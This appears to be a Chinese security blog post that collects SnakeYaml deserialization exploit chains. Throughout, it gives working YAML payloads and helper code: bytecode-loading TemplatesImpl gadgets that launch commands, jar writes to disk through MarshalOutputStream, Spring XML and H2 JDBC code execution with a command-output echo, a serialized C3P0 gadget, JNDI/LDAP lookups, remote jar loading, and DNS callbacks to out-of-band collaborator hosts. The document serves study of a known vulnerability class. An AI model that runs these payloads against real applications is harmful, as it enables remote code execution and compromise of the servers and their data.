前言 SnakeYaml在2.0之前的版本默认不开启安全模式,会自动调用构造方法和setter方法来实例化一个类,因此存在很多反序列化打法。这里总结一下常用的链子,为基于JavaBean机制的反序列化积累知识。
不出网 JDK原生 从这篇文章学习:奇安信攻防社区-SnakeYaml 不出网 RCE 新链(JDK原生链)挖掘
适用于jdk8,不需要出网,实用性很高,能直接RCE。
简要分析 1、sink
在CC链中,有一个TrAXFilter类,它的构造方法能够触发newTransformer,从而通过TemplatesImpl触发字节码加载。TemplatesImpl里有几个关键的字段需要赋值,分别是:_bytecodes,_tfactory,_name 。现在让我们看看能不能通过构造方法来为这几个赋值,如果能的话,很可能就能使用SnakeYaml进行反序列化。
有两个protected构造方法:
上面那个跟进init:
非常巧,我们需要的几个字段都能在构造方法中赋值。
2、byte[][]如何写入.yml
byte[] 对应 !!binary xxxxx,但是byte[][]应该怎么写?
这里直接给出文章中的答案,[!!binary xxxxx]
可以通过序列化一个有byte[][]字段的对象来观察。
3、发现报错
初步的poc:
1 2 3 4 5 6 7 !!com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl [ [!!binary SGVsbG8= ], "heihu577" , !!java.util.Properties {}, !!int 0 , !!com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl {} ]
但是却报错:
说是找不到合适的构造方法。
我们跟进报错,去调试一下:
上面这张图,首先将参数数量一致的构造方法添加进List,然后进行判断。如果构造方法是唯一的,就会将yaml文件中读取到的数据,全部转换为符合构造函数参数的数据类型。
下面这张图,在构造方法大于1个时进入。我们目前就属于这种情况。问题出现在isAssignbleFrom。
虽然我们传入的是一个bytes[][],但是解析后变成了ArrayList,而byte[][]和ArrayList是不满足if的,也就是byte[][] = new ArrayList()是不成立的,如下图。所以在这儿会抛出错误。
4、解决报错
由于TemplatesImpl是硬编码,不能修改的。所以我们只能想办法让传入的byte[][]先从ArrayList转换成byte[][],再进入if。
这里运用的方法是先创建引用类型,而后引用。
这里作者找到了这样一个类 com.sun.javafx.iio.ImageFrame 这个类有两个不同参数的构造方法,且构造方法中有byte[][]类型的参数:
最终payload:
1 2 3 4 5 6 [ !!com.sun.javafx.iio.ImageFrame [null , null , 0 , 0 , 0 , &A [!!binary "yv66vgAAADQAXwoAEgA0BwA1CgACADQHADYKADcAOAoAOQA6CgACADsJADwAPQcAPgoACQA/CgBAAEEKAEIAQwgARAoAQgBFBwBGBwBHCgAQAEgHAEkBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAGExjb20vaGVpaHU1NzcvYmVhbi9FdmlsOwEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAEYXJncwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAZlbmNvZGUBAAJbQgEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwBKAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAg8Y2xpbml0PgEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAA1TdGFja01hcFRhYmxlBwBGAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQwAEwAUAQAqb3JnL2FwYWNoZS90b21jYXQvdXRpbC9jb2RlYy9iaW5hcnkvQmFzZTY0AQAWY29tL2hlaWh1NTc3L2JlYW4vRXZpbAcASwwATABNBwBODABPAFAMAB4AUQcAUgwAUwBUAQAQamF2YS9sYW5nL1N0cmluZwwAEwBVBwBWDABXAFgHAFkMAFoAWwEABGNhbGMMAFwAXQEAE2phdmEvaW8vSU9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwAEwBeAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAK2NvbS9zdW4vb3JnL2FwYWNoZS9iY2VsL2ludGVybmFsL1JlcG9zaXRvcnkBAAtsb29rdXBDbGFzcwEASShMamF2YS9sYW5nL0NsYXNzOylMY29tL3N1bi9vcmcvYXBhY2hlL2JjZWwvaW50ZXJuYWwvY2xhc3NmaWxlL0phdmFDbGFzczsBADRjb20vc3VuL29yZy9hcGFjaGUvYmNlbC9pbnRlcm5hbC9jbGFzc2ZpbGUvSmF2YUNsYXNzAQAIZ2V0Qnl0ZXMBAAQoKVtCAQAGKFtCKVtCAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEABShbQilWAQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAYKExqYXZhL2xhbmcvVGhyb3dhYmxlOylWACEABAASAAAAAAAFAAEAEwAUAAEAFQAAAC8AAQABAAAABSq3AAGxAAAAAgAWAAAABgABAAAADgAXAAAADAABAAAABQAYABkAAAAJABoAGwABABUAAABeAAQAAgAAACK7AAJZtwADEgS4AAW2AAa2AAdMsgAIuwAJWSu3AAq2AAuxAAAAAgAWAAAADgADAAAAEAATABEAIQASABcAAAAWAAIAAAAiABwAHQAAABMADwAeAB8AAQABACAAIQACABUAAAA/AAAAAwAAAAGxAAAAAgAWAAAABgABAAAAHwAXAAAAIAADAAAAAQAYABkAAAAAAAEAIgAjAAEAAAABACQAJQACACYAAAAEAAEAJwABACAAKAACABUAAABJAAAABAAAAAGxAAAAAgAWAAAABgABAAAAJAAXAAAAKgAEAAAAAQAYABkAAAAAAAEAIgAjAAEAAAABACkAKgACAAAAAQArACwAAwAmAAAABAABACcACAAtABQAAQAVAAAAZgADAAEAAAAXuAAMEg22AA5XpwANS7sAEFkqtwARv7EAAQAAAAkADAAPAAMAFgAAABYABQAAABYACQAZAAwAFwANABgAFgAaABcAAAAMAAEADQAJAC4ALwAAADAAAAAHAAJMBwAxCQABADIAAAACADM=" ], null ], !!com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter [ !!com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl [*A ,"heihu577" ,!!java.util.Properties {},!!int 0 ,!!com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl {}] ] ]
bytecode生成:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public class ByteCodeGen { public static void main (String[] args) throws NotFoundException, CannotCompileException, IOException { byte [] bytes = genByte("calc" ); String s = Base64.getEncoder().encodeToString(bytes); System.out.println(s); } public static byte [] genByte(String cmd) throws NotFoundException, CannotCompileException, IOException { ClassPool pool = ClassPool.getDefault(); CtClass sink = pool.makeClass("Sink" ); CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" ); sink.setSuperclass(superClass); CtConstructor static_block = sink.makeClassInitializer(); static_block.setBody("Runtime.getRuntime().exec(\"" +cmd+"\");" ); return sink.toBytecode(); } }
小结 1、找可以利用的构造函数
2、可以通过& * 引用的方式转换数据格式
MarshalOutputStream写Jar包+SPI yaml用的jar包可以由这个工具生成:GitHub - artsploit/yaml-payload: A tiny project for generating SnakeYAML deserialization payloads
先写文件
1 !!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File ["success.jar" ],false ],!!java.util.zip.Inflater { input: !!binary eJxLLE5JTCkGAAh5AnE= },1048576 ]]
再spi触发
1 !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["file:///SnakeYaml/success.jar" ]]]]
代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 public class Marshal { public static void main (String[] args) throws IOException { marshal("./poc/yaml-payload.jar" , "success.jar" ); spi(); } public static void spi () throws IOException { Yaml yaml = new Yaml (); String spi = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"file:///D:/BaiduSyncdisk/code/MyJavaSecStudy/SnakeYaml/success.jar\"]]]]" ; yaml.load(spi); } public static void marshal (String filePath, String fileName) throws IOException { byte [] bytes = Files.readAllBytes(Paths.get(filePath)); byte [] bytes_zip = deflateZip(bytes); String file = Base64.getEncoder().encodeToString(bytes_zip); String marshal = "!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File [\"" +fileName+"\"],false]," + "!!java.util.zip.Inflater { input: !!binary " + file + "},1048576]]" ; Yaml yaml = new Yaml (); yaml.load(marshal); } public static byte [] deflateZip(byte [] input){ Deflater deflater = new Deflater (); deflater.setInput(input); deflater.finish(); ByteArrayOutputStream baos = new ByteArrayOutputStream (); byte [] buf = new byte [4096 ]; while (!deflater.finished()) { int len = deflater.deflate(buf); baos.write(buf, 0 , len); } deflater.end(); return baos.toByteArray(); } }
简要分析 具体的构造方法自己看一下。这里主要讲在哪里触发文件写入的。
Marshal的构造方法,这里面out是InflaterOutputStream:
下面是完整调用过程
小结 1、java.io.ObjectOutputStream#ObjectOutputStream(java.io.OutputStream)能触发out.write,有可能可以写文件
Marshal+ClassPathXmlApplicationContext jdk8只支持spring-boot-starter-web 2.xx版本,3版本必须用jdk17
exp 先通过Marsal写xml:
1 !!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File ["success.jar" ],false ],!!java.util.zip.Inflater { input: !!binary eJxLLE5JTCkGAAh5AnE= },1048576 ]]
再加载xml:
1 !!org.springframework.context.support.ClassPathXmlApplicationContext [ "http://example.com/spring.xml" ]
xml格式:可以用java-chains生成
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <beans xmlns ="http://www.springframework.org/schema/beans" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation ="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd" > <bean id ="decoder" class ="org.springframework.beans.factory.config.MethodInvokingFactoryBean" > <property name ="staticMethod" value ="javax.xml.bind.DatatypeConverter.parseBase64Binary" /> <property name ="arguments" > <list > <value > yv66vgAAADIAQAEAaW9yZy9hcGFjaGUvY29sbGVjdGlvbnMvY295b3RlL2pzb25Gb3JtYXRWaXNpdG9ycy9Kc29uSW50ZWdlckZvcm1hdFZpc2l0b3IyYTEzOGQ4MmU3MjQ0OWMzYTU3Y2NjMzYzYTMyMTcwYgcAAQEAEGphdmEvbGFuZy9PYmplY3QHAAMBAARiYXNlAQASTGphdmEvbGFuZy9TdHJpbmc7AQADc2VwAQADY21kAQAGPGluaXQ+AQADKClWAQATamF2YS9sYW5nL0V4Y2VwdGlvbgcACwwACQAKCgAEAA0BAAdvcy5uYW1lCAAPAQAQamF2YS9sYW5nL1N5c3RlbQcAEQEAC2dldFByb3BlcnR5AQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsMABMAFAoAEgAVAQAQamF2YS9sYW5nL1N0cmluZwcAFwEAC3RvTG93ZXJDYXNlAQAUKClMamF2YS9sYW5nL1N0cmluZzsMABkAGgoAGAAbAQADd2luCAAdAQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoMAB8AIAoAGAAhAQAHY21kLmV4ZQgAIwwABQAGCQACACUBAAIvYwgAJwwABwAGCQACACkBAAcvYmluL3NoCAArAQACLWMIAC0MAAgABgkAAgAvAQAYamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyBwAxAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgwACQAzCgAyADQBAAVzdGFydAEAFSgpTGphdmEvbGFuZy9Qcm9jZXNzOwwANgA3CgAyADgBAAg8Y2xpbml0PgEABGNhbGMIADsKAAIADQEABENvZGUBAA1TdGFja01hcFRhYmxlACEAAgAEAAAAAwAJAAUABgAAAAkABwAGAAAACQAIAAYAAAACAAEACQAKAAEAPgAAAIQABAACAAAAUyq3AA4SELgAFrYAHBIetgAimQAQEiSzACYSKLMAKqcADRIsswAmEi6zACoGvQAYWQOyACZTWQSyACpTWQWyADBTTLsAMlkrtwA1tgA5V6cABEyxAAEABABOAFEADAABAD8AAAAXAAT/ACEAAQcAAgAACWUHAAz8AAAHAAQACAA6AAoAAQA+AAAAGgACAAAAAAAOEjyzADC7AAJZtwA9V7EAAAAAAAA=</value > </list > </property > </bean > <bean id ="classLoader" class ="javax.management.loading.MLet" /> <bean id ="clazz" factory-bean ="classLoader" factory-method ="defineClass" > <constructor-arg ref ="decoder" /> <constructor-arg type ="int" value ="0" /> <constructor-arg type ="int" value ="914" /> </bean > <bean factory-bean ="clazz" factory-method ="newInstance" /> </beans >
简要分析 这个也是两步,写文件,本地读文件,ClassXml那个类的构造方法为什么能触发可以自行学习一下。
H2 exp
2.1及以上版本只支持jdk17,且使用的是五个参数的构造函数,exp:
1 !!org.h2.jdbc.JdbcConnection [ "jdbc:h2:mem:test;MODE=MSSQLServer;INIT=drop alias if exists exec\\;CREATE ALIAS EXEC AS $$void exec() throws java.io.IOException { Runtime.getRuntime().exec(\"calc.exe\")\\; }$$\\;CALL EXEC ()\\;" , {}, "a" , "b" , false ]
2.0及以下版本,支持jdk8,但只有2.0可打,且使用的是四个参数的构造函数,其exp:
1 !!org.h2.jdbc.JdbcConnection [ "jdbc:h2:mem:test;MODE=MSSQLServer;INIT=drop alias if exists exec\\;CREATE ALIAS EXEC AS $$void exec() throws java.io.IOException { Runtime.getRuntime().exec(\"calc.exe\")\\; }$$\\;CALL EXEC ()\\;" , {}, "a" , "b" ]
1.9版本没法打,因为其org.h2.jdbcx.JdbcDataSource#getConnection(),没有触发构造方法。
上面的yaml也可以分行写:
1 2 3 4 5 6 7 8 9 10 !!org.h2.jdbc.JdbcConnection - jdbc:h2:mem:test - MODE: MSSQLServer INIT: | drop alias if exists exec; CREATE ALIAS EXEC AS $$void exec() throws Exception {Runtime.getRuntime().exec("calc.exe");}$$; CALL EXEC (); - a - b - false
url中的xxx=xxx其实就是properties的形式,可以写到构造函数的第二个参数里
Properties写成一行的话就是{MODE: MSSQLServer, INIT: …}
INIT后面的 | ,表示多行文本块。
springboot回显exp:
1 2 3 4 5 6 7 8 9 10 !!org.h2.jdbc.JdbcConnection - jdbc:h2:mem:test - MODE: MSSQLServer INIT: | DROP ALIAS IF EXISTS EXEC; CREATE ALIAS EXEC AS $$void exec() throws Exception {org.springframework.util.StreamUtils.copy(java.lang.Runtime.getRuntime().exec("id").getInputStream(),((org.springframework.web.context.request.ServletRequestAttributes)org.springframework.web.context.request.RequestContextHolder.currentRequestAttributes()).getResponse().getOutputStream());}$$; CALL EXEC (); - a - b - false
简要分析 这里主要是H2SQL打JDBC
JDBC-Attack 攻击利用汇总-先知社区
C3P0二次反序列化 可以出网也可以不出网。还是推荐用Java-chain工具生成。
exp 这个是TemplatesImpl加载字节码执行calc的
1 2 !!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource userOverridesAsString: "HexAsciiSerializedMap:aced0005737200176a6176612e7574696c2e5072696f72697479517565756594da30b4fb3f82b103000249000473697a654c000a636f6d70617261746f727400164c6a6176612f7574696c2f436f6d70617261746f723b7870000000027372002b6f72672e6170616368652e636f6d6d6f6e732e6265616e7574696c732e4265616e436f6d70617261746f72e3a188ea7322a4480200024c000a636f6d70617261746f7271007e00014c000870726f70657274797400124c6a6176612f6c616e672f537472696e673b78707372002a6a6176612e6c616e672e537472696e672443617365496e73656e736974697665436f6d70617261746f7277035c7d5c50e5ce02000078707400106f757470757450726f706572746965737704000000037372003a636f6d2e73756e2e6f72672e6170616368652e78616c616e2e696e7465726e616c2e78736c74632e747261782e54656d706c61746573496d706c09574fc16eacab3303000649000d5f696e64656e744e756d62657249000e5f7472616e736c6574496e6465785b000a5f62797465636f6465737400035b5b425b00065f636c6173737400125b4c6a6176612f6c616e672f436c6173733b4c00055f6e616d6571007e00044c00115f6f757470757450726f706572746965737400164c6a6176612f7574696c2f50726f706572746965733b787000000000ffffffff757200035b5b424bfd19156767db37020000787000000001757200025b42acf317f8060854e00200007870000003b3cafebabe0000003200420100446f72672f6170616368652f736869726f2f636f796f74652f4f626a6563745265616465723839656130316663313231623435316562333435643937303234353266633031070001010040636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f72756e74696d652f41627374726163745472616e736c6574070003010004626173650100124c6a6176612f6c616e672f537472696e673b010003736570010003636d640100063c696e69743e0100032829560100136a6176612f6c616e672f457863657074696f6e07000b0c0009000a0a0004000d0100076f732e6e616d6508000f0100106a6176612f6c616e672f53797374656d07001101000b67657450726f7065727479010026284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f537472696e673b0c001300140a001200150100106a6176612f6c616e672f537472696e6707001701000b746f4c6f7765724361736501001428294c6a6176612f6c616e672f537472696e673b0c0019001a0a0018001b01000377696e08001d010008636f6e7461696e7301001b284c6a6176612f6c616e672f4368617253657175656e63653b295a0c001f00200a00180021010007636d642e6578650800230c0005000609000200250100022f630800270c0007000609000200290100072f62696e2f736808002b0100022d6308002d0c00080006090002002f0100186a6176612f6c616e672f50726f636573734275696c646572070031010016285b4c6a6176612f6c616e672f537472696e673b29560c000900330a00320034010005737461727401001528294c6a6176612f6c616e672f50726f636573733b0c003600370a003200380100106a6176612f6c616e672f4f626a65637407003a0100083c636c696e69743e01000463616c6308003d0a0002000d010004436f646501000d537461636b4d61705461626c6500210002000400000003000900050006000000090007000600000009000800060000000200010009000a000100400000008400040002000000532ab7000e1210b80016b6001c121eb600229900101224b300261228b3002aa7000d122cb30026122eb3002a06bd00185903b20026535904b2002a535905b20030534cbb0032592bb70035b6003957a700044cb100010004004e0051000c00010041000000170004ff002100010700020000096507000cfc000007003b0008003c000a000100400000001a000200000000000e123eb30030bb000259b7003f57b10000000000007074002431666639653232642d663032362d346461382d626363622d666362363936616265636534707701007871007e000d78;"
出网 这里大多是一些常规JNDI打法。能不能用需要判断一下jdk版本有没有限制JNDI反序列化,有没有模块化机制,能不能绕过。
JdbcRowSetImpl 1 2 3 !!com.sun.rowset.JdbcRowSetImpl dataSourceName: "ldap://127.0.0.1:50389/8ebd8d" autoCommit: true
Dns 1 {!!java.net.URL ["http://321213.n4s0yv3nfxrbbvlddamiykomhdn4buzj.oastify.com/" ]: 1 }
这里的{URL: 1},是为了让SnakeYaml解析成Map的形式,这样才会触发key.hashCode()的逻辑。
SpiLoadJar 最经典的
1 2 3 4 5 6 7 8 !!javax.script.ScriptEngineManager - !!java.net.URLClassLoader - - !!java.net.URL ["http://127.0.0.1:8888/success.jar" ] !!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://127.0.0.1:8888/success.jar" ] ]] ]
SimpleJndiBeanFactory 需要spring-bean依赖,一般spring自带。
1 2 3 4 5 6 7 8 9 10 11 12 !!org.springframework.beans.factory.config.PropertyPathFactoryBean {targetBeanName: "ldap://127.0.0.1:50389/8ebd8d" , propertyPath: "xxxx" , beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory {shareableResources: ["ldap://127.0.0.1:50389/8ebd8d" ]}}!!org.springframework.beans.factory.config.PropertyPathFactoryBean targetBeanName: ldap://127.0.0.1:50389/8ebd8d propertyPath: xxx beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory shareableResources: ["ldap://127.0.0.1:50389/8ebd8d" ] !!org.springframework.beans.factory.config.PropertyPathFactoryBean targetBeanName: ldap://127.0.0.1:50389/8ebd8d propertyPath: xxx beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory shareableResources: - ldap://127.0.0.1:50389/8ebd8d
C3p0Jndi exp 1 2 3 !!com.mchange.v2.c3p0.JndiRefForwardingDataSource jndiName: "ldap://127.0.0.1:50389/8ebd8d" loginTimeout: 1
XBean exp 1 2 3 4 5 6 7 8 !!javax.management.BadAttributeValueExpException - !!org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding - "baka" - !!javax.naming.Reference - "any" - "CalcAbs" - "http://127.0.0.1:7778/" - !!org.apache.xbean.naming.context.WritableContext []
这里是直接从远程加载.class文件,Reference的第二个参数是.class文件的类名,如果有包名前面要写包名。url最后的斜杠不能少。
注意,这个最后走的是Codebase加载字节码,这个跟rmi一样,8u121就被禁了,实用性比较低。
Commons-Configuration exp 1 2 3 4 5 ? !!org.apache.commons.configuration.ConfigurationMap - !!org.apache.commons.configuration.JNDIConfiguration - !!javax.naming.InitialContext [] - "ldap://127.0.0.1:50389/8ebd8d" : 1
多行时,不支持直接把一个复杂类作为键,需要用?表示键的开始。
1 !!org.apache.commons.configuration.ConfigurationMap [!!org.apache.commons.configuration.JNDIConfiguration [!!javax.naming.InitialContext [], "ldap://127.0.0.1:50389/8ebd8d" ]] : 1
依赖探测 exp 1 2 {!!org.apache.commons.configuration.JNDIConfiguration {}: 0 , !!java.net.URL ["http://JNDIConfiguration.sxt5r0ws82kg40ei6ffnrphraig942sr.oastify.com" ]: 1 }
这里要求被探测的类有无参构造或者是一个接口,不然会因为没有合适的构造方法而报错。
小结 SnakeYaml利用要关注构造方法,能通过构造方法触发的链子,都可以尝试迁移到SnakeYaml。
同时也要关注字段为private或protected或static,且其setter只有一个参数的public setter方法。
这个public不能进,进去了就变成FieldProperty了,那到时候调用property.set时就不会调用invoke。
setter不是public的话,会在这里抛出: